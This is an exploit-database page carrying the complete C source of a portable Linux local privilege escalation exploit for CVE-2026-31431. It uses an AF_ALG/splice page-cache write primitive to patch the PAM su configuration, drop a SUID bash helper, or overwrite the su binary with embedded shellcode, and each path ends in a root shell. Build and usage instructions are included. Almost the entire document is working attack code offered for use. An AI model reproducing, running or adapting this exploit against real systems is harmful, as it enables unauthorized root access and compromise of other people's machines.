Exploit database

GH-0d16cad751ad737e9e0f6b65a60fb35b

wuwu001/cve-2026-31431-exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-31431

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
wuwu001/cve-2026-31431-exploitRevision bd3ce58e92fd

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

copyfail_portable_lpe.c

C · 22,334 bytes
#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <linux/if_alg.h>
#include <stdint.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <unistd.h>

#ifndef SOL_ALG
#define SOL_ALG 279
#endif

#ifndef ALG_SET_AEAD_AUTHSIZE
#define ALG_SET_AEAD_AUTHSIZE 5
#endif

#ifndef CRYPTO_AUTHENC_KEYA_PARAM
#define CRYPTO_AUTHENC_KEYA_PARAM 1
#endif

/*
 * Generic "carry-and-run" LPE helper for the AF_ALG/splice page-cache
 * overwrite primitive.
 *
 * Design goals:
 *   - not tied to a single CTF host
 *   - portable across vulnerable Linux targets of the same CPU arch
 *   - defaults to a text/config patch path instead of fragile ELF patching
 *   - prefers a recoverable workflow by default
 *
 * Modes:
 *   1) auto         : explicit non-reverting PAM/su text patch mode
 *   2) auto-revert  : default mode, patch then revert before handing off
 *   3) helper       : non-reverting helper drop mode
 *   4) helper-revert: helper mode with revert before handoff
 *   5) patch        : generic same-length string replace in an arbitrary file
 *   6) raw-su-elf   : exact translation of the user's x86_64 su-binary patch
 *
 * Examples:
 *   gcc -O2 -s copyfail_portable_lpe.c -o copyfail_portable_lpe
 *   ./copyfail_portable_lpe              # default: auto-revert
 *   ./copyfail_portable_lpe auto
 *   ./copyfail_portable_lpe auto-revert
 *   ./copyfail_portable_lpe helper ./.rootsh
 *   ./copyfail_portable_lpe helper-revert ./.rootsh
 *   ./copyfail_portable_lpe patch /etc/pam.d/su pam_rootok.so pam_permit.so
 *   ./copyfail_portable_lpe raw-su-elf
 */

static const char *DEFAULT_ROOT_CMD =
    "exec /bin/bash -p -i";

static const char *SU_PATH_CANDIDATES[] = {
    "/usr/bin/su",
    "/bin/su",
    NULL
};

static const char *PAM_SU_FILES[] = {
    "/etc/pam.d/su",
    "/etc/pam.d/su-l",
    NULL
};

struct patch_record {
    const char *path;
    const char *find;
    const char *repl;
};

static const char *ALG_NAME = "authencesn(hmac(sha256),cbc(aes))";

static void print_recoverable_mode_hint(const char *prog) {
    fprintf(stderr,
        "[!] recoverable mode failed.\n"
        "[!] explicit fallback modes:\n"
        "    %s auto\n"
        "    %s helper ./.rootsh\n"
        "    %s patch <file> <find> <replace>\n"
        "    %s raw-su-elf\n",
        prog, prog, prog, prog
    );
}

/*
 * Raw x86_64 ELF payload translated from the user's Python PoC:
 * zlib.decompress(bytes.fromhex(...))
 *
 * This mode is intentionally architecture-specific and is preserved only as a
 * "raw binary patch" fallback. The auto mode does NOT depend on it.
 */
static const unsigned char RAW_SU_ELF[] = {
    0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
    0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
    0x9e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x9e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xc0,0x31,0xff,0xb0,0x69,0x0f,0x05,
    0x48,0x8d,0x3d,0x0f,0x00,0x00,0x00,0x31,0xf6,0x6a,0x3b,0x58,0x99,0x0f,0x05,0x31,
    0xff,0x6a,0x3c,0x58,0x0f,0x05,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00
};

static char *shell_single_quote(const char *s);

static void die(const char *msg) {
    perror(msg);
    exit(1);
}

static unsigned char *read_file(const char *path, size_t *out_len) {
    int fd = open(path, O_RDONLY);
    if (fd < 0) {
        return NULL;
    }

    struct stat st;
    if (fstat(fd, &st) < 0) {
        close(fd);
        return NULL;
    }

    if (st.st_size < 0) {
        close(fd);
        return NULL;
    }

    size_t len = (size_t)st.st_size;
    unsigned char *buf = malloc(len + 1);
    if (!buf) {
        close(fd);
        die("malloc");
    }

    size_t off = 0;
    while (off < len) {
        ssize_t r = read(fd, buf + off, len - off);
        if (r < 0) {
            free(buf);
            close(fd);
            die("read");
        }
        if (r == 0) {
            break;
        }
        off += (size_t)r;
    }
    close(fd);

    buf[off] = '\0';
    *out_len = off;
    return buf;
}

static void splice_all(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len) {
    size_t done = 0;
    while (done < len) {
        ssize_t r = splice(fd_in, off_in, fd_out, off_out, len - done, 0);
        if (r < 0) {
            die("splice");
        }
        if (r == 0) {
            fprintf(stderr, "[-] splice returned 0 unexpectedly\n");
            exit(1);
        }
        done += (size_t)r;
    }
}

static unsigned char *build_authenc_keyblob(size_t *out_len) {
    const size_t authkey_len = 32;
    const size_t enckey_len = 16;
    const size_t total = 8 + authkey_len + enckey_len;

    unsigned char *blob = calloc(1, total);
    if (!blob) {
        die("calloc(build_authenc_keyblob)");
    }

    /*
     * struct rtattr {
     *   __u16 rta_len;
     *   __u16 rta_type;
     * };
     * followed by __be32 enckeylen and then authkey||enckey
     */
    blob[0] = 0x08;
    blob[1] = 0x00;
    blob[2] = (unsigned char)(CRYPTO_AUTHENC_KEYA_PARAM & 0xff);
    blob[3] = (unsigned char)((CRYPTO_AUTHENC_KEYA_PARAM >> 8) & 0xff);

    uint32_t be_enckey_len = htonl((uint32_t)enckey_len);
    memcpy(blob + 4, &be_enckey_len, sizeof(be_enckey_len));

    *out_len = total;
    return blob;
}

static int primitive_environment_ok(int verbose) {
    if (access("/proc/crypto", R_OK) != 0) {
        if (verbose) {
            fprintf(stderr, "[-] /proc/crypto is not readable\n");
        }
        return 0;
    }

    int s = socket(AF_ALG, SOCK_SEQPACKET, 0);
    if (s < 0) {
        if (verbose) {
            fprintf(stderr, "[-] AF_ALG unavailable: %s\n", strerror(errno));
        }
        return 0;
    }
    close(s);

    s = socket(AF_ALG, SOCK_SEQPACKET, 0);
    if (s < 0) {
        return 0;
    }

    struct sockaddr_alg sa;
    memset(&sa, 0, sizeof(sa));
    sa.salg_family = AF_ALG;
    strcpy((char *)sa.salg_type, "aead");
    strcpy((char *)sa.salg_name, ALG_NAME);

    if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        if (verbose) {
            fprintf(stderr, "[-] %s cannot be instantiated: %s\n", ALG_NAME, strerror(errno));
        }
        close(s);
        return 0;
    }
    close(s);
    return 1;
}

static void primitive_write4(int fd, size_t offset, const unsigned char chunk[4]) {
    int tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    if (tfmfd < 0) {
        die("socket(AF_ALG)");
    }

    struct sockaddr_alg sa;
    memset(&sa, 0, sizeof(sa));
    sa.salg_family = AF_ALG;
    strcpy((char *)sa.salg_type, "aead");
    strcpy((char *)sa.salg_name, ALG_NAME);

    if (bind(tfmfd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        die("bind(AF_ALG)");
    }

    size_t keyblob_len = 0;
    unsigned char *keyblob = build_authenc_keyblob(&keyblob_len);
    if (setsockopt(tfmfd, SOL_ALG, ALG_SET_KEY, keyblob, keyblob_len) < 0) {
        free(keyblob);
        die("setsockopt(ALG_SET_KEY)");
    }
    free(keyblob);

    int authsize = 0;
    if (setsockopt(tfmfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, &authsize, sizeof(authsize)) < 0) {
        die("setsockopt(ALG_SET_AEAD_AUTHSIZE)");
    }

    int opfd = accept(tfmfd, NULL, NULL);
    if (opfd < 0) {
        die("accept(AF_ALG)");
    }

    unsigned char payload[8];
    memset(payload, 'A', 4);
    memcpy(payload + 4, chunk, 4);

    unsigned char control[CMSG_SPACE(4) + CMSG_SPACE(20) + CMSG_SPACE(4)];
    memset(control, 0, sizeof(control));

    struct iovec iov;
    iov.iov_base = payload;
    iov.iov_len = sizeof(payload);

    struct msghdr msg;
    memset(&msg, 0, sizeof(msg));
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = control;
    msg.msg_controllen = sizeof(control);

    struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = ALG_SET_OP;
    cmsg->cmsg_len = CMSG_LEN(4);
    memset(CMSG_DATA(cmsg), 0x00, 4);

    cmsg = CMSG_NXTHDR(&msg, cmsg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = ALG_SET_IV;
    cmsg->cmsg_len = CMSG_LEN(20);
    memset(CMSG_DATA(cmsg), 0x00, 20);
    ((unsigned char *)CMSG_DATA(cmsg))[0] = 0x10; /* ivlen = 16 */

    cmsg = CMSG_NXTHDR(&msg, cmsg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
    cmsg->cmsg_len = CMSG_LEN(4);
    memset(CMSG_DATA(cmsg), 0x00, 4);
    ((unsigned char *)CMSG_DATA(cmsg))[0] = 0x08; /* assoclen = 8 */

    if (sendmsg(opfd, &msg, MSG_MORE) < 0) {
        die("sendmsg");
    }

    int p[2];
    if (pipe(p) < 0) {
        die("pipe");
    }

    loff_t in_off = 0;
    splice_all(fd, &in_off, p[1], NULL, offset + 4);
    splice_all(p[0], NULL, opfd, NULL, offset + 4);

    unsigned char recvbuf[4096];
    (void)recv(opfd, recvbuf, sizeof(recvbuf), 0);

    close(p[0]);
    close(p[1]);
    close(opfd);
    close(tfmfd);
}

static int primitive_safe_precheck(int verbose) {
    char tmpl[] = "/tmp/copyfail-precheck-XXXXXX";
    int fdw = mkstemp(tmpl);
    if (fdw < 0) {
        if (verbose) {
            fprintf(stderr, "[-] mkstemp failed: %s\n", strerror(errno));
        }
        return 0;
    }

    unsigned char sentinel[4096];
    memset(sentinel, 'Z', sizeof(sentinel));
    if (write(fdw, sentinel, sizeof(sentinel)) != (ssize_t)sizeof(sentinel)) {
        close(fdw);
        unlink(tmpl);
        if (verbose) {
            fprintf(stderr, "[-] failed to write sentinel file\n");
        }
        return 0;
    }
    close(fdw);

    int fd = open(tmpl, O_RDONLY);
    if (fd < 0) {
        unlink(tmpl);
        return 0;
    }

    unsigned char before[16];
    memset(before, 0, sizeof(before));
    if (read(fd, before, sizeof(before)) < 0) {
        close(fd);
        unlink(tmpl);
        return 0;
    }
    lseek(fd, 0, SEEK_SET);

    primitive_write4(fd, 0, (const unsigned char *)"PWND");
    lseek(fd, 0, SEEK_SET);

    unsigned char after[16];
    memset(after, 0, sizeof(after));
    if (read(fd, after, sizeof(after)) < 0) {
        close(fd);
        unlink(tmpl);
        return 0;
    }
    close(fd);
    unlink(tmpl);

    if (memcmp(after, "PWND", 4) == 0) {
        if (verbose) {
            printf("[+] precheck ok: marker landed in page cache (%.*s -> %.*s)\n",
                   4, before, 4, after);
        }
        return 1;
    }

    if (verbose) {
        fprintf(stderr, "[-] precheck failed: marker did not land\n");
    }
    return 0;
}

/*
 * Patch arbitrary same-length bytes using the 4-byte primitive.
 * The last partial 4-byte write preserves neighboring bytes from the original.
 */
static int patch_bytes_same_length(const char *path, const unsigned char *find, size_t find_len,
                                   const unsigned char *repl, size_t repl_len, int verbose) {
    if (find_len == 0 || repl_len == 0 || find_len != repl_len) {
        fprintf(stderr, "[-] patch_bytes_same_length requires same non-zero lengths\n");
        return 0;
    }

    size_t file_len = 0;
    unsigned char *data = read_file(path, &file_len);
    if (!data) {
        if (verbose) {
            fprintf(stderr, "[!] cannot read %s\n", path);
        }
        return 0;
    }

    unsigned char *hit = memmem(data, file_len, find, find_len);
    if (!hit) {
        if (verbose) {
            fprintf(stderr, "[!] marker not found in %s\n", path);
        }
        free(data);
        return 0;
    }

    size_t idx = (size_t)(hit - data);
    if (verbose) {
        printf("[+] patching %s at offset %zu\n", path, idx);
        printf("[+] before: %.*s\n", (int)find_len, hit);
        printf("[+] after : %.*s\n", (int)repl_len, repl);
    }

    int fd = open(path, O_RDONLY);
    if (fd < 0) {
        free(data);
        die("open(target)");
    }

    for (size_t i = 0; i < repl_len; i += 4) {
        unsigned char chunk[4] = {0, 0, 0, 0};

        for (size_t j = 0; j < 4; j++) {
            size_t pos = idx + i + j;
            if (pos < file_len) {
                chunk[j] = data[pos];
            }
        }
        for (size_t j = 0; j < 4 && (i + j) < repl_len; j++) {
            chunk[j] = repl[i + j];
        }

        primitive_write4(fd, idx + i, chunk);
    }
    close(fd);
    free(data);

    data = read_file(path, &file_len);
    if (!data) {
        return 0;
    }
    hit = memmem(data, file_len, repl, repl_len);
    int ok = (hit != NULL);
    if (verbose && ok) {
        printf("[+] verification ok in %s\n", path);
    }
    free(data);
    return ok;
}

static const char *pick_existing(const char *const *paths) {
    for (size_t i = 0; paths[i]; i++) {
        if (access(paths[i], X_OK) == 0) {
            return paths[i];
        }
    }
    return NULL;
}

static int run_su_root_payload(const char *root_cmd, int verbose) {
    const char *su_path = pick_existing(SU_PATH_CANDIDATES);
    if (!su_path) {
        fprintf(stderr, "[-] no executable su found at /usr/bin/su or /bin/su\n");
        return 0;
    }

    if (verbose) {
        printf("[+] triggering root payload via %s\n", su_path);
        printf("[+] root cmd: %s\n", root_cmd);
    }

    execl(su_path, su_path, "-c", root_cmd, NULL);
    die("execl(su)");
    return 0;
}

static char *build_revert_root_cmd(const char *user_cmd, const struct patch_record *recs, int rec_count) {
    size_t need = strlen(user_cmd) + 256;
    for (int i = 0; i < rec_count; i++) {
        need += strlen(recs[i].path) + strlen(recs[i].find) + strlen(recs[i].repl) + 128;
    }

    char *cmd = calloc(1, need);
    if (!cmd) {
        die("calloc(build_revert_root_cmd)");
    }

    strcat(cmd, "/bin/sh -c '");
    strcat(cmd, user_cmd);
    strcat(cmd, "; ");

    for (int i = 0; i < rec_count; i++) {
        char *qpath = shell_single_quote(recs[i].path);

        strcat(cmd, "printf \"[+] reverting ");
        strcat(cmd, recs[i].path);
        strcat(cmd, "\\n\"; ");
        strcat(cmd, "sed -i s/");
        strcat(cmd, recs[i].repl);
        strcat(cmd, "/");
        strcat(cmd, recs[i].find);
        strcat(cmd, "/g ");
        strcat(cmd, qpath);
        strcat(cmd, " 2>/dev/null || true; ");

        free(qpath);
    }

    strcat(cmd, "exec /bin/bash -p -i'");
    return cmd;
}

static int mode_auto(const char *root_cmd, int verbose) {
    int patched = 0;
    const unsigned char *find = (const unsigned char *)"pam_rootok.so";
    const unsigned char *repl = (const unsigned char *)"pam_permit.so";

    for (size_t i = 0; PAM_SU_FILES[i]; i++) {
        int ok = patch_bytes_same_length(
            PAM_SU_FILES[i],
            find, strlen((const char *)find),
            repl, strlen((const char *)repl),
            verbose
        );
        if (ok) {
            patched++;
        }
    }

    if (!patched) {
        fprintf(stderr, "[-] auto mode could not patch any PAM su file\n");
        return 0;
    }

    if (verbose) {
        printf("[+] auto mode patched %d PAM target(s)\n", patched);
    }

    return run_su_root_payload(root_cmd, verbose);
}

static int mode_auto_revert(const char *root_cmd, int verbose) {
    int patched = 0;
    struct patch_record recs[8];
    int rec_count = 0;

    const unsigned char *find = (const unsigned char *)"pam_rootok.so";
    const unsigned char *repl = (const unsigned char *)"pam_permit.so";

    for (size_t i = 0; PAM_SU_FILES[i]; i++) {
        int ok = patch_bytes_same_length(
            PAM_SU_FILES[i],
            find, strlen((const char *)find),
            repl, strlen((const char *)repl),
            verbose
        );
        if (ok) {
            patched++;
            recs[rec_count].path = PAM_SU_FILES[i];
            recs[rec_count].find = (const char *)find;
            recs[rec_count].repl = (const char *)repl;
            rec_count++;
        }
    }

    if (!patched) {
        fprintf(stderr, "[-] auto-revert mode could not patch any PAM su file\n");
        return 0;
    }

    if (verbose) {
        printf("[+] auto-revert mode patched %d PAM target(s)\n", patched);
    }

    char *wrapped = build_revert_root_cmd(root_cmd, recs, rec_count);
    int ok = run_su_root_payload(wrapped, verbose);
    free(wrapped);
    return ok;
}

static int mode_patch(int argc, char **argv, int verbose) {
    if (argc < 5) {
        fprintf(stderr, "usage: %s patch <file> <find> <replace>\n", argv[0]);
        return 0;
    }

    const char *path = argv[2];
    const unsigned char *find = (const unsigned char *)argv[3];
    const unsigned char *repl = (const unsigned char *)argv[4];

    return patch_bytes_same_length(
        path,
        find, strlen((const char *)find),
        repl, strlen((const char *)repl),
        verbose
    );
}

static int mode_raw_su_elf(int verbose) {
    const char *target = pick_existing(SU_PATH_CANDIDATES);
    if (!target) {
        fprintf(stderr, "[-] no su binary found at /usr/bin/su or /bin/su\n");
        return 0;
    }

    if (verbose) {
        printf("[+] raw-su-elf target : %s\n", target);
        printf("[+] raw-su-elf size   : %zu bytes\n", sizeof(RAW_SU_ELF));
        printf("[+] raw-su-elf arch   : x86_64 only\n");
    }

    int fd = open(target, O_RDONLY);
    if (fd < 0) {
        die("open(raw-su target)");
    }

    for (size_t i = 0; i < sizeof(RAW_SU_ELF); i += 4) {
        primitive_write4(fd, i, &RAW_SU_ELF[i]);
    }
    close(fd);

    if (verbose) {
        printf("[+] raw-su-elf page-cache patch complete, exec su\n");
    }

    int rc = system("su");
    if (rc == -1) {
        perror("system(su)");
        return 0;
    }
    return 1;
}

static void usage(const char *prog) {
    fprintf(stderr,
        "Usage:\n"
        "  %s                # default: auto-revert\n"
        "  %s auto [root_cmd]\n"
        "  %s auto-revert [root_cmd]\n"
        "  %s helper [path]\n"
        "  %s helper-revert [path]\n"
        "  %s patch <file> <find> <replace>\n"
        "  %s raw-su-elf\n"
        "\n"
        "Modes:\n"
        "  auto        Try generic PAM su patch, then run a root payload.\n"
        "              Default root payload gives an interactive root shell:\n"
        "                exec /bin/bash -p -i\n"
        "              You may optionally supply a custom root_cmd.\n"
        "\n"
        "  auto-revert Same as auto, but reverts the patched PAM targets before\n"
        "              handing off to a root shell.\n"
        "\n"
        "  helper      Same as auto, but drops a SUID bash helper at [path].\n"
        "              Default path: ./.rootsh\n"
        "\n"
        "  helper-revert Same as helper, but reverts the patched PAM targets\n"
        "              before handing off to a root shell.\n"
        "\n"
        "  patch       Generic same-length string replacement using the primitive.\n"
        "              Useful for integrating other target points manually.\n"
        "\n"
        "  raw-su-elf  Exact translation of the x86_64 /usr/bin/su patch idea.\n"
        "\n"
        "Build examples:\n"
        "  gcc -O2 -s %s -o copyfail_portable_lpe\n"
        "  musl-gcc -static -O2 -s %s -o copyfail_portable_lpe   # if available\n",
        prog, prog, prog, prog, prog, prog, prog, prog, prog
    );
}

static char *shell_single_quote(const char *s) {
    size_t len = 2; /* opening + closing quote */
    for (const char *p = s; *p; p++) {
        if (*p == '\'') {
            len += 4; /* '\'' */
        } else {
            len += 1;
        }
    }

    char *out = malloc(len + 1);
    if (!out) {
        die("malloc(shell_single_quote)");
    }

    char *w = out;
    *w++ = '\'';
    for (const char *p = s; *p; p++) {
        if (*p == '\'') {
            memcpy(w, "'\\''", 4);
            w += 4;
        } else {
            *w++ = *p;
        }
    }
    *w++ = '\'';
    *w = '\0';
    return out;
}

static char *build_helper_root_cmd(const char *path) {
    char *q = shell_single_quote(path);
    const char *fmt =
        "cp /bin/bash %s && chmod 4755 %s && "
        "%s -p -c 'id; echo \"[+] root helper: %s\"'";
    size_t need = (size_t)snprintf(NULL, 0, fmt, q, q, q, path);
    char *cmd = malloc(need + 1);
    if (!cmd) {
        free(q);
        die("malloc(build_helper_root_cmd)");
    }
    snprintf(cmd, need + 1, fmt, q, q, q, path);
    free(q);
    return cmd;
}

int main(int argc, char **argv) {
    const char *mode = (argc > 1) ? argv[1] : "auto-revert";
    int verbose = 1;

    if (!primitive_environment_ok(verbose)) {
        fprintf(stderr, "[-] primitive environment precondition failed\n");
        return 1;
    }
    if (!primitive_safe_precheck(verbose)) {
        fprintf(stderr, "[-] non-destructive primitive precheck failed\n");
        return 1;
    }

    if (strcmp(mode, "auto") == 0) {
        const char *root_cmd = (argc > 2) ? argv[2] : DEFAULT_ROOT_CMD;
        return mode_auto(root_cmd, verbose) ? 0 : 1;
    }

    if (strcmp(mode, "auto-revert") == 0) {
        const char *root_cmd = (argc > 2) ? argv[2] : "true";
        int ok = mode_auto_revert(root_cmd, verbose);
        if (!ok) {
            print_recoverable_mode_hint(argv[0]);
        }
        return ok ? 0 : 1;
    }

    if (strcmp(mode, "helper") == 0) {
        const char *path = (argc > 2) ? argv[2] : "./.rootsh";
        char *cmd = build_helper_root_cmd(path);
        int ok = mode_auto(cmd, verbose);
        free(cmd);
        return ok ? 0 : 1;
    }

    if (strcmp(mode, "helper-revert") == 0) {
        const char *path = (argc > 2) ? argv[2] : "./.rootsh";
        char *cmd = build_helper_root_cmd(path);
        int ok = mode_auto_revert(cmd, verbose);
        free(cmd);
        return ok ? 0 : 1;
    }

    if (strcmp(mode, "patch") == 0) {
        return mode_patch(argc, argv, verbose) ? 0 : 1;
    }

    if (strcmp(mode, "raw-su-elf") == 0) {
        return mode_raw_su_elf(verbose) ? 0 : 1;
    }

    usage(argv[0]);
    return 1;
}